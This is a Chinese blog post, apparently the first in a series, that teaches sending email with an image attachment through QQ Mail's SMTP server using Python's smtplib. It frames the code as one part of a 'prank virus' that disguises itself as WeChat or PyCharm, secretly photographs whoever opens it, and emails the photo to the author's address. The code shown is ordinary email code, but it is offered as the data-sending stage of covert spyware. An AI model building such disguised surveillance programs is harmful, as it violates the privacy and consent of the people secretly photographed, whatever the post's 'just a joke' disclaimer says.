用Python自动发邮件,告别手动模式!

杨数Tos

共 2720字,需浏览 6分钟

 ·

2021-07-30 18:48


只做有积累的事情,毕竟”厚的“载物。——杨数Tos





0

前言:

大家好,我是杨数Tos

不知道大家有没有这样一种感觉,学了那么久的技术,除了工作中用到之外,好像啥也干不了?(特别是零基础学python的同学)

在这里阿数写一段简单的”病毒整蛊“代码,实现的功能是:

将一段程序伪装成微信或者其他软件,别人打开之后会正常打开软件,但程序会偷偷拍一张照片,并将照片发送到指定的邮箱。






正文开始

    假如你想写一个“病毒整蛊”程序和朋友开玩笑,你需要经过以下几步的处理工作:

1、实现“病毒”主体功能(如:实现拍照片功能)

2、将主体功能获取到的信息发送给你或朋友(发邮件功能)

3、将程序打包成为一个可执行的程序,让你朋友在不经意间安装。

4、向你朋友炫耀,并大声“嘲笑“,哈哈哈!

    这篇文章主要内容是:利用Python实现邮件的发送。



1

先了解一些发邮件的基础常识

首先,我们还上网都会依赖http协议,而发邮件、下载邮件都涉及到网络传输,必然会涉及到传输协议。

上网:HTTP协议+SSL加密,默认端口443;


那么:

发邮件:SMTP协议+TLS加密,默认端口25;

下载邮件:IMAP协议+SSL加密,默认端口143;

邮件多用途协议:MIME协议,主要用于添加附件之类的操作。


我们需要发邮件功能,则需要到邮箱设置中,开启SMTP协议这个功能。

PS:

不用去理解什么是SMTP协议、什么是IMAP协议,有这个概念,会用即可。(想深入研究,估计得掉几千根头发!)






2

开启邮箱的smtp功能

不同的邮箱开启SMTP协议的方法都差不多,这里面以QQ邮箱作为参考:

1、登陆邮箱,点击”设置“,点击”账户“;

2、下拉,找到”SMTP/IMAP服务“,按照提示发送短信,开启smtp功能即可。

3、获取到”授权码“,保存,一会用到。


PS:QQ邮箱在开启SMTP服务之前,要先设置”QQ邮箱 独立密码“。





3

编写代码,发送邮件

我们平常手动发邮件,要经过3步操作:

1、登陆邮箱;

2、编辑邮件内容;

3、发送邮件,然后退出;

当我们使用代码发送邮件,它的操作步骤也是完全一样的。

以下是简洁版代码:

import smtplib
# 1、打开邮箱地址,登陆 qq_server = smtplib.SMTP_SSL("smtp.qq.com",465)
2、登陆QQ邮箱,邮箱名+授权码  qq_server.login("ddddd@qq.com","lu3241hih")  # 3、发送邮件 qq_server.sendmail("发送者","接收者","要发送的内容") # 4、退出登陆 qq_server.quit()


因为我们发送的邮件不仅需要邮件标题、邮件正文、邮件附件,而且我们还需要保证所发送的邮件不被识别为垃圾邮件,我们需要对邮件的内容进行”包裹“处理。

以下是修改版代码:

import smtplib # 用来处理邮件正文from email.mime.text import MIMEText# 用来处理邮件的标题from email.header import Header# 用来处理邮件的附件,将邮件内容与附件进行拼接from email.mime.multipart import MIMEMultipart# 用来处理附件中的图片from email.mime.image import MIMEImage
# 一、先设置好要发送的邮件的内容# 标题msg_title = "this is title 标题"# 正文msg_text = "this is mail text 正文"# 1、正文与标题信息的转化msg = MIMEText(msg_text,"plain","utf8")
# 二、附件的设置,img_path = "头像.png"# 获取附件的内容,附件都是以rb械打开,# 一般图片都是以b模式(二进制)打开img_text = MIMEImage(open(img_path,"rb").read())# 附件图片必须添加的参数,Content-Disposition:表示附件图片可显示;# attachment:保证附件图片可以预览。img_text.add_header("Content-Disposition","attachment",filename="图片.png") # 如果有多个附件,就重复一遍 # 三、将附件与正文内容进行拼接#实例化一个内容拼接对象m = MIMEMultipart()# 拼接内容m.attach(msg)# 拼接附件m.attach(img_text)
# 注意:标题、发送者、接收者这些信息的添加必须在这里,# 否则会没有以上信息,因为了被覆盖掉了m["Subject"] = Header(msg_title,"utf8")m["From"] = "{}".format("发送者邮箱@qq.com")m["To"] = ",".join(["接收者邮箱@qq.com"]) # 四、登陆邮件,发送邮件,退出登陆qq_server = smtplib.SMTP_SSL("smtp.qq.com",465)qq_server.login("邮箱账号@qq.com","授权码")qq_server.sendmail("发送者@qq.com","接收者@qq.com",m.as_string())qq_server.quit()

PS:把代码放到文章里面好麻烦啊!!


最终,邮件发送成功:




以上是本文章的内容,下一篇文章:将代码打包成exe可执行文件,将伪装成某个软件,比如:伪装为 pycharm怎么样?

注:这是系列文章,如果您需要文章中的完整版源代码,请关注杨数Tos,回【拍照zg 】即可。



提示:以上内容,仅作为杨数Tos个人的技术分享,纯粹游戏之作,请勿用于非法用途。

    本文由杨数Tos原创,欢迎关注,一起长知识。



往期内容

量化交易系列文章

免费工具与源代码分享


end

浏览 48
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报